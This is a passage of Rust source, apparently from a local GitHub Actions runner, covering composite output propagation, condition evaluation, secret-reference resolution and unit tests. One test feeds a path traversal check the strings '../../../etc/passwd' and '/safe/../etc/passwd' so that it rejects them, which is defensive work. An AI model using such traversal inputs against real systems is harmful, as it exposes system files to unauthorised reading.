4877 let mut resolved: Vec<(String, String)> = Vec::new();
4879 for (key, def) in outputs {
4880 let key_str = match key.as_str() {
4881 Some(k) => k,
4882 None => continue,
4883 };
4884 let value_expr = match def.get("value").and_then(|v| v.as_str()) {
4885 Some(v) => v,
4886 None => continue,
4887 };
4888 match crate::substitution::preprocess_expressions(value_expr, working_dir, &expr_ctx) {
4889 Ok(val) => resolved.push((key_str.to_string(), val)),
4890 Err(e) => {
4891 wrkflw_logging::debug(&format!(
4892 "Failed to evaluate composite output '{}': {}",
4893 key_str, e
4894 ));
4895 }
4896 }
4897 }
4898
4899 if resolved.is_empty() {
4900 return;
4901 }
4902
4903 if let Some(output_path) = caller_job_env.get("GITHUB_OUTPUT") {
4905 use std::io::Write;
4906 match std::fs::OpenOptions::new()
4907 .create(true)
4908 .append(true)
4909 .open(output_path)
4910 {
4911 Ok(mut f) => {
4912 for (key, value) in &resolved {
4913 let res = if value.contains('\n') {
4914 let delim = generate_heredoc_delimiter(value);
4916 writeln!(f, "{}<<{}", key, delim)
4917 .and_then(|_| write!(f, "{}", value))
4918 .and_then(|_| {
4919 if !value.ends_with('\n') {
4920 writeln!(f)
4921 } else {
4922 Ok(())
4923 }
4924 })
4925 .and_then(|_| writeln!(f, "{}", delim))
4926 } else {
4927 writeln!(f, "{}={}", key, value)
4928 };
4929 if let Err(e) = res {
4930 wrkflw_logging::debug(&format!(
4931 "Failed to write composite output '{}' to GITHUB_OUTPUT: {}",
4932 key, e
4933 ));
4934 break;
4935 }
4936 }
4937 }
4938 Err(e) => {
4939 wrkflw_logging::debug(&format!(
4940 "Failed to open GITHUB_OUTPUT for composite output propagation: {}",
4941 e
4942 ));
4943 }
4944 }
4945 }
4946}
4947
4948fn generate_heredoc_delimiter(value: &str) -> String {
4951 let base = "ghadelimiter";
4952 let mut candidate = base.to_string();
4953 let mut counter: u64 = 0;
4954 while value.lines().any(|line| line == candidate) {
4956 counter += 1;
4957 candidate = format!("{}_{}", base, counter);
4958 }
4959 candidate
4960}
4961
4962fn convert_yaml_to_step(step_yaml: &serde_yaml::Value) -> Result<workflow::Step, String> {
4964 let name = step_yaml
4966 .get("name")
4967 .and_then(|v| v.as_str())
4968 .map(|s| s.to_string());
4969
4970 let uses = step_yaml
4971 .get("uses")
4972 .and_then(|v| v.as_str())
4973 .map(|s| s.to_string());
4974
4975 let run = step_yaml
4976 .get("run")
4977 .and_then(|v| v.as_str())
4978 .map(|s| s.to_string());
4979
4980 let shell = step_yaml
4981 .get("shell")
4982 .and_then(|v| v.as_str())
4983 .map(|s| s.to_string());
4984
4985 let with = step_yaml.get("with").and_then(|v| v.as_mapping()).map(|m| {
4986 let mut with_map = HashMap::new();
4987 for (k, v) in m {
4988 if let (Some(key), Some(value)) = (k.as_str(), v.as_str()) {
4989 with_map.insert(key.to_string(), value.to_string());
4990 }
4991 }
4992 with_map
4993 });
4994
4995 let env = step_yaml
4996 .get("env")
4997 .and_then(|v| v.as_mapping())
4998 .map(|m| {
4999 let mut env_map = HashMap::new();
5000 for (k, v) in m {
5001 if let (Some(key), Some(value)) = (k.as_str(), v.as_str()) {
5002 env_map.insert(key.to_string(), value.to_string());
5003 }
5004 }
5005 env_map
5006 })
5007 .unwrap_or_default();
5008
5009 let final_run = run;
5011
5012 let continue_on_error = step_yaml.get("continue-on-error").and_then(|v| v.as_bool());
5014
5015 let if_condition = step_yaml
5016 .get("if")
5017 .and_then(|v| v.as_str())
5018 .map(|s| s.to_string());
5019
5020 let id = step_yaml
5021 .get("id")
5022 .and_then(|v| v.as_str())
5023 .map(|s| s.to_string());
5024
5025 let working_directory = step_yaml
5026 .get("working-directory")
5027 .and_then(|v| v.as_str())
5028 .map(|s| s.to_string());
5029
5030 let timeout_minutes = step_yaml.get("timeout-minutes").and_then(|v| v.as_f64());
5031
5032 Ok(workflow::Step {
5033 name,
5034 uses,
5035 run: final_run,
5036 with,
5037 env,
5038 continue_on_error,
5039 if_condition,
5040 id,
5041 working_directory,
5042 shell,
5043 timeout_minutes,
5044 })
5045}
5046
5047fn evaluate_job_condition(
5054 condition: &str,
5055 env_context: &HashMap<String, String>,
5056 user_env: &HashMap<String, String>,
5057 _workflow: &WorkflowDefinition,
5058) -> bool {
5059 let ctx = crate::expression::ExpressionContext {
5060 env_context,
5061 step_outputs: &HashMap::new(),
5062 matrix_combination: &None,
5063 step_statuses: &HashMap::new(),
5064 job_status: "success",
5065 secrets_context: &HashMap::new(),
5066 needs_context: &HashMap::new(),
5067 needs_results: &HashMap::new(),
5068 user_env,
5069 };
5070 evaluate_condition_with_context(condition, &ctx)
5071}
5072
5073fn evaluate_condition_with_context(
5078 condition: &str,
5079 ctx: &crate::expression::ExpressionContext<'_>,
5080) -> bool {
5081 use crate::expression::evaluate_as_bool;
5082
5083 wrkflw_logging::debug(&format!("Evaluating condition: {}", condition));
5084
5085 match evaluate_as_bool(condition, ctx) {
5086 Ok(result) => {
5087 wrkflw_logging::debug(&format!(
5088 "Condition '{}' evaluated to {}",
5089 condition, result
5090 ));
5091 result
5092 }
5093 Err(e) => {
5094 wrkflw_logging::warning(&format!(
5095 "Condition '{}' failed to parse: {} — treating as false (step/job will be skipped)",
5096 condition, e
5097 ));
5098 false
5101 }
5102 }
5103}
5104
5105fn build_needs_context(
5107 job: &Job,
5108 all_outputs: &HashMap<String, HashMap<String, String>>,
5109 all_results: &HashMap<String, String>,
5110) -> (
5111 HashMap<String, HashMap<String, String>>,
5112 HashMap<String, String>,
5113) {
5114 let mut needs_outputs = HashMap::new();
5115 let mut needs_results = HashMap::new();
5116 if let Some(needs) = &job.needs {
5117 for needed_job in needs {
5118 if let Some(outputs) = all_outputs.get(needed_job) {
5119 needs_outputs.insert(needed_job.clone(), outputs.clone());
5120 }
5121 if let Some(result) = all_results.get(needed_job) {
5122 needs_results.insert(needed_job.clone(), result.clone());
5123 }
5124 }
5125 }
5126 (needs_outputs, needs_results)
5127}
5128
5129fn resolve_job_outputs(
5132 job: &Job,
5133 step_outputs_map: &HashMap<String, HashMap<String, String>>,
5134 step_status_map: &HashMap<String, (String, String)>,
5135 env_context: &HashMap<String, String>,
5136 user_env: &HashMap<String, String>,
5137 job_status: &str,
5138 working_dir: &Path,
5139) -> HashMap<String, String> {
5140 let mut resolved = HashMap::new();
5141 if let Some(outputs) = &job.outputs {
5142 let ctx = crate::expression::ExpressionContext {
5143 env_context,
5144 step_outputs: step_outputs_map,
5145 matrix_combination: &None,
5146 step_statuses: step_status_map,
5147 job_status,
5148 secrets_context: &HashMap::new(),
5149 needs_context: &HashMap::new(),
5150 needs_results: &HashMap::new(),
5151 user_env,
5152 };
5153 for (key, expr) in outputs {
5154 match crate::substitution::preprocess_expressions(expr, working_dir, &ctx) {
5155 Ok(val) => {
5156 resolved.insert(key.clone(), val);
5157 }
5158 Err(e) => {
5159 wrkflw_logging::warning(&format!(
5160 "Failed to resolve job output '{}': {}",
5161 key, e
5162 ));
5163 resolved.insert(key.clone(), String::new());
5164 }
5165 }
5166 }
5167 }
5168 resolved
5169}
5170
5171async fn resolve_secrets_for_context(
5175 secret_manager: &SecretManager,
5176 job: &Job,
5177) -> HashMap<String, String> {
5178 use wrkflw_secrets::SecretSubstitution;
5179
5180 let mut secrets = HashMap::new();
5181 let mut all_text = String::new();
5182
5183 for step in &job.steps {
5185 if let Some(run) = &step.run {
5186 all_text.push_str(run);
5187 all_text.push('\n');
5188 }
5189 if let Some(cond) = &step.if_condition {
5190 all_text.push_str(cond);
5191 all_text.push('\n');
5192 }
5193 for value in step.env.values() {
5194 all_text.push_str(value);
5195 all_text.push('\n');
5196 }
5197 if let Some(with) = &step.with {
5198 for value in with.values() {
5199 all_text.push_str(value);
5200 all_text.push('\n');
5201 }
5202 }
5203 }
5204 if let Some(cond) = &job.if_condition {
5206 all_text.push_str(cond);
5207 all_text.push('\n');
5208 }
5209 for value in job.env.values() {
5210 all_text.push_str(value);
5211 all_text.push('\n');
5212 }
5213 if let Some(outputs) = &job.outputs {
5215 for value in outputs.values() {
5216 all_text.push_str(value);
5217 all_text.push('\n');
5218 }
5219 }
5220
5221 let refs = SecretSubstitution::extract_secret_refs(&all_text);
5223 for secret_ref in refs {
5224 let name = &secret_ref.name;
5225 if secrets.contains_key(name) {
5226 continue;
5227 }
5228 let result = if let Some(provider) = &secret_ref.provider {
5229 secret_manager
5230 .get_secret_from_provider(provider, name)
5231 .await
5232 } else {
5233 secret_manager.get_secret(name).await
5234 };
5235 match result {
5236 Ok(value) => {
5237 secrets.insert(name.clone(), value.value().to_string());
5238 }
5239 Err(_) => {
5240 }
5242 }
5243 }
5244
5245 secrets
5246}
5247
5248#[cfg(test)]
5249mod tests {
5250 use super::*;
5251
5252 lazy_static::lazy_static! {
5253 static ref TEST_ARTIFACT_DIR: tempfile::TempDir = tempfile::tempdir().unwrap();
5254 static ref TEST_ARTIFACT_STORE: crate::artifacts::ArtifactStore =
5255 crate::artifacts::ArtifactStore::new(TEST_ARTIFACT_DIR.path()).unwrap();
5256 static ref TEST_CACHE_DIR: tempfile::TempDir = tempfile::tempdir().unwrap();
5257 static ref TEST_CACHE_STORE: crate::cache::CacheStore =
5258 crate::cache::CacheStore::with_root(TEST_CACHE_DIR.path().to_path_buf()).unwrap();
5259 static ref TEST_PENDING_CACHE_SAVES: std::sync::Mutex<Vec<PendingCacheSave>> =
5260 std::sync::Mutex::new(Vec::new());
5261 static ref EMPTY_SECRETS: HashMap<String, String> = HashMap::new();
5262 static ref EMPTY_NEEDS: HashMap<String, HashMap<String, String>> = HashMap::new();
5263 static ref EMPTY_NEEDS_RESULTS: HashMap<String, String> = HashMap::new();
5264 }
5265
5266 fn test_services() -> JobServices<'static> {
5267 JobServices {
5268 secret_manager: None,
5269 secret_masker: None,
5270 secrets_context: &EMPTY_SECRETS,
5271 needs_context: &EMPTY_NEEDS,
5272 needs_results: &EMPTY_NEEDS_RESULTS,
5273 artifact_store: &TEST_ARTIFACT_STORE,
5274 cache_store: &TEST_CACHE_STORE,
5275 }
5276 }
5277
5278 #[test]
5279 fn is_git_sha_recognizes_valid_sha1() {
5280 assert!(is_git_sha("a81bbbf8298c0fa03ea29cdc473d45769f953675"));
5281 }
5282
5283 #[test]
5284 fn is_git_sha_recognizes_uppercase_hex() {
5285 assert!(is_git_sha("A81BBBF8298C0FA03EA29CDC473D45769F953675"));
5286 }
5287
5288 #[test]
5289 fn is_git_sha_rejects_short_hash() {
5290 assert!(!is_git_sha("a81bbbf"));
5291 }
5292
5293 #[test]
5294 fn is_git_sha_rejects_branch_name() {
5295 assert!(!is_git_sha("main"));
5296 }
5297
5298 #[test]
5299 fn is_git_sha_rejects_tag() {
5300 assert!(!is_git_sha("v4"));
5301 }
5302
5303 #[test]
5304 fn is_git_sha_rejects_empty() {
5305 assert!(!is_git_sha(""));
5306 }
5307
5308 #[test]
5309 fn is_git_sha_rejects_non_hex_40_chars() {
5310 assert!(!is_git_sha("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz"));
5311 }
5312
5313 #[test]
5314 fn is_git_sha_rejects_41_chars() {
5315 assert!(!is_git_sha("a81bbbf8298c0fa03ea29cdc473d45769f9536750"));
5316 }
5317
5318 fn make_job(container: Option<JobContainer>, runs_on: Option<Vec<String>>) -> Job {
5321 Job {
5322 runs_on,
5323 needs: None,
5324 container,
5325 steps: Vec::new(),
5326 env: HashMap::new(),
5327 strategy: None,
5328 services: HashMap::new(),
5329 if_condition: None,
5330 outputs: None,
5331 permissions: None,
5332 uses: None,
5333 with: None,
5334 secrets: None,
5335 timeout_minutes: None,
5336 defaults: None,
5337 }
5338 }
5339
5340 #[test]
5341 fn effective_runner_image_prefers_container() {
5342 let job = make_job(
5343 Some(JobContainer {
5344 image: "alpine:3.22".into(),
5345 credentials: None,
5346 env: HashMap::new(),
5347 ports: None,
5348 volumes: None,
5349 options: None,
5350 }),
5351 Some(vec!["ubuntu-latest".into()]),
5352 );
5353 assert_eq!(get_effective_runner_image(&job), "alpine:3.22");
5354 }
5355
5356 #[test]
5357 fn effective_runner_image_falls_back_to_runs_on() {
5358 let job = make_job(None, Some(vec!["ubuntu-latest".into()]));
5359 let image = get_effective_runner_image(&job);
5360 assert!(!image.is_empty());
5362 }
5363
5364 #[test]
5367 fn container_mounts_docker_runtime_remaps_env_paths() {
5368 let mut step_env = HashMap::new();
5369 step_env.insert("WRKFLW_RUNTIME_MODE".into(), "docker".into());
5370
5371 let mut job_env = HashMap::new();
5372 job_env.insert("GITHUB_ENV".into(), "/tmp/abc/github/env".into());
5373 job_env.insert("GITHUB_OUTPUT".into(), "/tmp/abc/github/output".into());
5374 job_env.insert("GITHUB_PATH".into(), "/tmp/abc/github/path".into());
5375 job_env.insert(
5376 "GITHUB_STEP_SUMMARY".into(),
5377 "/tmp/abc/github/step_summary".into(),
5378 );
5379
5380 let (volumes, github_mount) = prepare_container_mounts(&mut step_env, &job_env, None);
5381
5382 assert_eq!(step_env.get("GITHUB_ENV").unwrap(), "/github/workflow/env");
5384 assert_eq!(
5385 step_env.get("GITHUB_OUTPUT").unwrap(),
5386 "/github/workflow/output"
5387 );
5388 assert_eq!(
5389 step_env.get("GITHUB_PATH").unwrap(),
5390 "/github/workflow/path"
5391 );
5392 assert_eq!(
5393 step_env.get("GITHUB_STEP_SUMMARY").unwrap(),
5394 "/github/workflow/step_summary"
5395 );
5396
5397 let (host, container) = github_mount.unwrap();
5399 assert_eq!(host, PathBuf::from("/tmp/abc/github"));
5400 assert_eq!(container, PathBuf::from("/github/workflow"));
5401
5402 assert!(volumes.is_empty());
5404 }
5405
5406 #[test]
5407 fn container_mounts_non_container_runtime_does_not_remap() {
5408 let mut step_env = HashMap::new();
5409 let mut job_env = HashMap::new();
5412 job_env.insert("GITHUB_ENV".into(), "/tmp/abc/github/env".into());
5413
5414 let (_volumes, github_mount) = prepare_container_mounts(&mut step_env, &job_env, None);
5415
5416 assert!(!step_env.contains_key("GITHUB_ENV"));
5418
5419 let (host, container) = github_mount.unwrap();
5421 assert_eq!(host, container); }
5423
5424 #[test]
5425 fn container_mounts_no_github_env() {
5426 let mut step_env = HashMap::new();
5427 let job_env = HashMap::new(); let (volumes, github_mount) = prepare_container_mounts(&mut step_env, &job_env, None);
5430
5431 assert!(github_mount.is_none());
5432 assert!(volumes.is_empty());
5433 }
5434
5435 #[test]
5436 fn container_mounts_parses_host_container_volumes() {
5437 let mut step_env = HashMap::new();
5438 let job_env = HashMap::new();
5439
5440 let container = JobContainer {
5441 image: "node:18".into(),
5442 credentials: None,
5443 env: HashMap::new(),
5444 ports: None,
5445 volumes: Some(vec!["/host/data:/container/data".into()]),
5446 options: None,
5447 };
5448
5449 let (volumes, _) = prepare_container_mounts(&mut step_env, &job_env, Some(&container));
5450
5451 assert_eq!(volumes.len(), 1);
5452 assert_eq!(volumes[0].0, PathBuf::from("/host/data"));
5453 assert_eq!(volumes[0].1, PathBuf::from("/container/data"));
5454 }
5455
5456 #[test]
5457 fn container_mounts_parses_single_path_volumes() {
5458 let mut step_env = HashMap::new();
5459 let job_env = HashMap::new();
5460
5461 let container = JobContainer {
5462 image: "node:18".into(),
5463 credentials: None,
5464 env: HashMap::new(),
5465 ports: None,
5466 volumes: Some(vec!["/data".into()]),
5467 options: None,
5468 };
5469
5470 let (volumes, _) = prepare_container_mounts(&mut step_env, &job_env, Some(&container));
5471
5472 assert_eq!(volumes.len(), 1);
5473 assert_eq!(volumes[0].0, PathBuf::from("/data"));
5474 assert_eq!(volumes[0].1, PathBuf::from("/data"));
5475 }
5476
5477 #[test]
5478 fn container_mounts_strips_docker_options_from_volumes() {
5479 let mut step_env = HashMap::new();
5480 let job_env = HashMap::new();
5481
5482 let container = JobContainer {
5483 image: "node:18".into(),
5484 credentials: None,
5485 env: HashMap::new(),
5486 ports: None,
5487 volumes: Some(vec!["/host:/container:ro".into(), "/src:/dest:rw".into()]),
5488 options: None,
5489 };
5490
5491 let (volumes, _) = prepare_container_mounts(&mut step_env, &job_env, Some(&container));
5492
5493 assert_eq!(volumes.len(), 2);
5494 assert_eq!(volumes[0].0, PathBuf::from("/host"));
5496 assert_eq!(volumes[0].1, PathBuf::from("/container"));
5497 assert_eq!(volumes[1].0, PathBuf::from("/src"));
5499 assert_eq!(volumes[1].1, PathBuf::from("/dest"));
5500 }
5501
5502 #[test]
5503 fn container_mounts_podman_runtime_remaps_env_paths() {
5504 let mut step_env = HashMap::new();
5505 step_env.insert("WRKFLW_RUNTIME_MODE".into(), "podman".into());
5506
5507 let mut job_env = HashMap::new();
5508 job_env.insert("GITHUB_ENV".into(), "/tmp/xyz/github/env".into());
5509 job_env.insert("GITHUB_OUTPUT".into(), "/tmp/xyz/github/output".into());
5510 job_env.insert("GITHUB_PATH".into(), "/tmp/xyz/github/path".into());
5511 job_env.insert(
5512 "GITHUB_STEP_SUMMARY".into(),
5513 "/tmp/xyz/github/step_summary".into(),
5514 );
5515
5516 let (_, github_mount) = prepare_container_mounts(&mut step_env, &job_env, None);
5517
5518 assert_eq!(step_env.get("GITHUB_ENV").unwrap(), "/github/workflow/env");
5520 assert!(github_mount.is_some());
5521 }
5522
5523 #[test]
5524 fn container_mounts_only_remaps_existing_env_keys() {
5525 let mut step_env = HashMap::new();
5526 step_env.insert("WRKFLW_RUNTIME_MODE".into(), "docker".into());
5527
5528 let mut job_env = HashMap::new();
5529 job_env.insert("GITHUB_ENV".into(), "/tmp/abc/github/env".into());
5531
5532 let (_, _) = prepare_container_mounts(&mut step_env, &job_env, None);
5533
5534 assert_eq!(step_env.get("GITHUB_ENV").unwrap(), "/github/workflow/env");
5536 assert!(!step_env.contains_key("GITHUB_OUTPUT"));
5538 assert!(!step_env.contains_key("GITHUB_PATH"));
5539 assert!(!step_env.contains_key("GITHUB_STEP_SUMMARY"));
5540 }
5541
5542 #[test]
5543 fn effective_runner_image_empty_image_falls_back() {
5544 let job = make_job(
5545 Some(JobContainer {
5546 image: "".into(),
5547 credentials: None,
5548 env: HashMap::new(),
5549 ports: None,
5550 volumes: None,
5551 options: None,
5552 }),
5553 Some(vec!["ubuntu-latest".into()]),
5554 );
5555 let image = get_effective_runner_image(&job);
5556 assert!(!image.is_empty());
5558 }
5559
5560 #[test]
5561 fn container_mounts_skips_empty_container_path() {
5562 let mut step_env = HashMap::new();
5563 let job_env = HashMap::new();
5564
5565 let container = JobContainer {
5566 image: "node:18".into(),
5567 credentials: None,
5568 env: HashMap::new(),
5569 ports: None,
5570 volumes: Some(vec!["/host:".into(), ":/container".into()]),
5571 options: None,
5572 };
5573
5574 let (volumes, _) = prepare_container_mounts(&mut step_env, &job_env, Some(&container));
5575
5576 assert!(volumes.is_empty());
5578 }
5579
5580 #[test]
5583 fn container_env_has_lowest_precedence() {
5584 let mut job_env = HashMap::new();
5588
5589 let container = JobContainer {
5591 image: "node:18".into(),
5592 credentials: None,
5593 env: HashMap::from([
5594 ("SHARED".into(), "from-container".into()),
5595 ("CONTAINER_ONLY".into(), "container-value".into()),
5596 ]),
5597 ports: None,
5598 volumes: None,
5599 options: None,
5600 };
5601 for (key, value) in &container.env {
5602 job_env.entry(key.clone()).or_insert_with(|| value.clone());
5603 }
5604
5605 let job_level_env: HashMap<String, String> = HashMap::from([
5607 ("SHARED".into(), "from-job".into()),
5608 ("JOB_ONLY".into(), "job-value".into()),
5609 ]);
5610 for (key, value) in &job_level_env {
5611 job_env.insert(key.clone(), value.clone());
5612 }
5613
5614 assert_eq!(job_env.get("SHARED").unwrap(), "from-job");
5616 assert_eq!(job_env.get("CONTAINER_ONLY").unwrap(), "container-value");
5618 assert_eq!(job_env.get("JOB_ONLY").unwrap(), "job-value");
5620 }
5621
5622 #[test]
5625 fn workflow_env_does_not_override_builtin_github_vars() {
5626 let mut env_context: HashMap<String, String> = HashMap::from([
5629 ("GITHUB_SHA".into(), "abc123".into()),
5630 ("CI".into(), "true".into()),
5631 ]);
5632
5633 let workflow_env: HashMap<String, String> = HashMap::from([
5635 ("GITHUB_SHA".into(), "should-not-win".into()),
5636 ("CI".into(), "false".into()),
5637 ("MY_CUSTOM_VAR".into(), "custom-value".into()),
5638 ]);
5639 for (key, value) in &workflow_env {
5640 env_context
5641 .entry(key.clone())
5642 .or_insert_with(|| value.clone());
5643 }
5644
5645 assert_eq!(env_context.get("GITHUB_SHA").unwrap(), "abc123");
5647 assert_eq!(env_context.get("CI").unwrap(), "true");
5648 assert_eq!(env_context.get("MY_CUSTOM_VAR").unwrap(), "custom-value");
5650 }
5651
5652 #[test]
5653 fn workflow_env_overridden_by_job_env() {
5654 let mut env_context: HashMap<String, String> = HashMap::new();
5656
5657 let workflow_env: HashMap<String, String> = HashMap::from([
5659 ("SHARED".into(), "from-workflow".into()),
5660 ("WF_ONLY".into(), "workflow-value".into()),
5661 ]);
5662 for (key, value) in &workflow_env {
5663 env_context
5664 .entry(key.clone())
5665 .or_insert_with(|| value.clone());
5666 }
5667
5668 let job_env: HashMap<String, String> = HashMap::from([
5670 ("SHARED".into(), "from-job".into()),
5671 ("JOB_ONLY".into(), "job-value".into()),
5672 ]);
5673 for (key, value) in &job_env {
5674 env_context.insert(key.clone(), value.clone());
5675 }
5676
5677 assert_eq!(env_context.get("SHARED").unwrap(), "from-job");
5679 assert_eq!(env_context.get("WF_ONLY").unwrap(), "workflow-value");
5681 assert_eq!(env_context.get("JOB_ONLY").unwrap(), "job-value");
5683 }
5684
5685 #[test]
5686 fn workflow_env_expression_substitution() {
5687 let env_context: HashMap<String, String> =
5689 HashMap::from([("GITHUB_REPOSITORY".into(), "owner/repo".into())]);
5690 let empty_user_env = HashMap::new();
5691 let expr_ctx = crate::expression::ExpressionContext {
5692 env_context: &env_context,
5693 step_outputs: &HashMap::new(),
5694 matrix_combination: &None,
5695 step_statuses: &HashMap::new(),
5696 job_status: "success",
5697 secrets_context: &HashMap::new(),
5698 needs_context: &HashMap::new(),
5699 needs_results: &HashMap::new(),
5700 user_env: &empty_user_env,
5701 };
5702 let cwd = std::env::current_dir().unwrap();
5703
5704 let raw_value = "repo=${{ github.repository }}";
5706 let resolved = crate::substitution::preprocess_expressions(raw_value, &cwd, &expr_ctx)
5707 .unwrap_or_else(|_| raw_value.to_string());
5708
5709 assert_eq!(resolved, "repo=owner/repo");
5710 }
5711
5712 fn empty_workflow() -> workflow::WorkflowDefinition {
5715 workflow::WorkflowDefinition {
5716 name: "test".to_string(),
5717 on: Vec::new(),
5718 on_raw: serde_yaml::Value::Null,
5719 jobs: HashMap::new(),
5720 defaults: None,
5721 env: HashMap::new(),
5722 }
5723 }
5724
5725 #[test]
5726 fn condition_true_false_literals() {
5727 let env = HashMap::new();
5728 let wf = empty_workflow();
5729 assert!(evaluate_job_condition("true", &env, &env, &wf));
5730 assert!(!evaluate_job_condition("false", &env, &env, &wf));
5731 }
5732
5733 #[test]
5734 fn condition_steps_reference_evaluates_null_for_unknown_step() {
5735 let env = HashMap::new();
5736 let wf = empty_workflow();
5737 assert!(!evaluate_job_condition(
5740 "steps.build.outcome == 'success'",
5741 &env,
5742 &env,
5743 &wf
5744 ));
5745 assert!(!evaluate_job_condition(
5746 "steps.build.outcome == 'failure'",
5747 &env,
5748 &env,
5749 &wf
5750 ));
5751 }
5752
5753 #[test]
5754 fn condition_success_function_defaults_true() {
5755 let env = HashMap::new();
5756 let wf = empty_workflow();
5757 assert!(evaluate_job_condition("success()", &env, &env, &wf));
5758 }
5759
5760 #[test]
5761 fn condition_failure_function_defaults_false() {
5762 let env = HashMap::new();
5763 let wf = empty_workflow();
5764 assert!(!evaluate_job_condition("failure()", &env, &env, &wf));
5765 }
5766
5767 #[test]
5768 fn condition_always_function_defaults_true() {
5769 let env = HashMap::new();
5770 let wf = empty_workflow();
5771 assert!(evaluate_job_condition("always()", &env, &env, &wf));
5772 }
5773
5774 #[test]
5775 fn condition_cancelled_function_defaults_false() {
5776 let env = HashMap::new();
5777 let wf = empty_workflow();
5778 assert!(!evaluate_job_condition("cancelled()", &env, &env, &wf));
5779 }
5780
5781 #[test]
5782 fn condition_compound_failure_or_success_defaults_true() {
5783 let env = HashMap::new();
5784 let wf = empty_workflow();
5785 assert!(evaluate_job_condition(
5787 "failure() || success()",
5788 &env,
5789 &env,
5790 &wf
5791 ));
5792 }
5793
5794 #[test]
5795 fn condition_compound_failure_and_cancelled_defaults_false() {
5796 let env = HashMap::new();
5797 let wf = empty_workflow();
5798 assert!(!evaluate_job_condition(
5800 "failure() || cancelled()",
5801 &env,
5802 &env,
5803 &wf
5804 ));
5805 }
5806
5807 #[test]
5808 fn condition_always_and_failure_evaluates_correctly() {
5809 let env = HashMap::new();
5810 let wf = empty_workflow();
5811 assert!(!evaluate_job_condition(
5814 "always() && failure()",
5815 &env,
5816 &env,
5817 &wf
5818 ));
5819 assert!(evaluate_job_condition("always()", &env, &env, &wf));
5821 assert!(evaluate_job_condition(
5823 "always() || failure()",
5824 &env,
5825 &env,
5826 &wf
5827 ));
5828 }
5829
5830 #[test]
5831 fn condition_parse_error_returns_false() {
5832 let env = HashMap::new();
5833 let wf = empty_workflow();
5834 assert!(!evaluate_job_condition(
5837 "&&& invalid syntax",
5838 &env,
5839 &env,
5840 &wf
5841 ));
5842 assert!(!evaluate_job_condition("== broken", &env, &env, &wf));
5843 assert!(!evaluate_job_condition("((( unmatched", &env, &env, &wf));
5844 }
5845
5846 #[test]
5847 fn condition_env_context_evaluates_correctly() {
5848 let mut env = HashMap::new();
5849 env.insert("MY_STEPS_COUNT".to_string(), "5".to_string());
5850 env.insert("_STEPS_CHECK".to_string(), "ok".to_string());
5851 let wf = empty_workflow();
5852 assert!(evaluate_job_condition(
5854 "env.MY_STEPS_COUNT == '5'",
5855 &env,
5856 &env,
5857 &wf
5858 ));
5859 assert!(evaluate_job_condition(
5860 "env._STEPS_CHECK == 'ok'",
5861 &env,
5862 &env,
5863 &wf
5864 ));
5865 assert!(!evaluate_job_condition(
5867 "env.MISSING_VAR == '5'",
5868 &env,
5869 &env,
5870 &wf
5871 ));
5872 }
5873
5874 fn has_path_traversal(host_path: &str) -> bool {
5877 std::path::Path::new(host_path)
5878 .components()
5879 .any(|c| matches!(c, std::path::Component::ParentDir))
5880 }
5881
5882 #[test]
5883 fn volume_traversal_check_rejects_host_traversal() {
5884 assert!(has_path_traversal("../../../etc/passwd"));
5885 assert!(has_path_traversal("/safe/../etc/passwd"));
5886 }
5887
5888 #[test]
5889 fn volume_traversal_check_allows_dotdot_in_container_path() {
5890 let vol_spec = "/safe/host:/container/..weird";
5892 let parts: Vec<&str> = vol_spec.splitn(3, ':').collect();
5893 assert!(!has_path_traversal(parts[0]));
5894 }
5895
5896 #[test]
5897 fn volume_traversal_allows_double_dot_prefix_dir() {
5898 assert!(!has_path_traversal("/data/..hidden/files"));
5900 }
5901
5902 #[test]
5905 fn prepared_action_native_docker_stores_fields() {
5906 let pa = PreparedAction::NativeDocker {
5907 image: "ghcr.io/super-linter:latest".to_string(),
5908 entrypoint: Some("/entrypoint.sh".to_string()),
5909 args: vec!["--flag".to_string(), "value".to_string()],
5910 };
5911 match pa {
5912 PreparedAction::NativeDocker {
5913 image,
5914 entrypoint,
5915 args,
5916 } => {
5917 assert_eq!(image, "ghcr.io/super-linter:latest");
5918 assert_eq!(entrypoint.as_deref(), Some("/entrypoint.sh"));
5919 assert_eq!(args, vec!["--flag", "value"]);
5920 }
5921 _ => panic!("expected NativeDocker variant"),
5922 }
5923 }
5924
5925 #[test]
5926 fn prepared_action_native_docker_defaults() {
5927 let pa = PreparedAction::NativeDocker {
5928 image: "alpine:latest".to_string(),
5929 entrypoint: None,
5930 args: vec![],
5931 };
5932 match pa {
5933 PreparedAction::NativeDocker {
5934 entrypoint, args, ..
5935 } => {
5936 assert!(entrypoint.is_none());
5937 assert!(args.is_empty());
5938 }
5939 _ => panic!("expected NativeDocker variant"),
5940 }
5941 }
5942
5943 #[test]
5946 fn extract_runs_config_with_entrypoint_and_args() {
5947 let yaml: serde_yaml::Value = serde_yaml::from_str(
5948 r#"
5949runs:
5950 using: docker
5951 image: Dockerfile
5952 entrypoint: /entrypoint.sh
5953 args:
5954 - --flag
5955 - value
5956"#,
5957 )
5958 .unwrap();
5959 let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
5960 assert_eq!(ep.as_deref(), Some("/entrypoint.sh"));
5961 assert_eq!(args, vec!["--flag", "value"]);
5962 }
5963
5964 #[test]
5965 fn extract_runs_config_missing_both() {
5966 let yaml: serde_yaml::Value = serde_yaml::from_str(
5967 r#"
5968runs:
5969 using: docker
5970 image: Dockerfile
5971"#,
5972 )
5973 .unwrap();
5974 let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
5975 assert!(ep.is_none());
5976 assert!(args.is_empty());
5977 }
5978
5979 #[test]
5980 fn extract_runs_config_none_definition() {
5981 let (ep, args) = extract_docker_runs_config(None).unwrap();
5982 assert!(ep.is_none());
5983 assert!(args.is_empty());
5984 }
5985
5986 #[test]
5987 fn extract_runs_config_entrypoint_only() {
5988 let yaml: serde_yaml::Value = serde_yaml::from_str(
5989 r#"
5990runs:
5991 using: docker
5992 image: Dockerfile
5993 entrypoint: /custom.sh
5994"#,
5995 )
5996 .unwrap();
5997 let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
5998 assert_eq!(ep.as_deref(), Some("/custom.sh"));
5999 assert!(args.is_empty());
6000 }
6001
6002 #[test]
6003 fn extract_runs_config_args_only() {
6004 let yaml: serde_yaml::Value = serde_yaml::from_str(
6005 r#"
6006runs:
6007 using: docker
6008 image: Dockerfile
6009 args:
6010 - hello
6011"#,
6012 )
6013 .unwrap();
6014 let (ep, args) = extract_docker_runs_config(Some(&yaml)).unwrap();
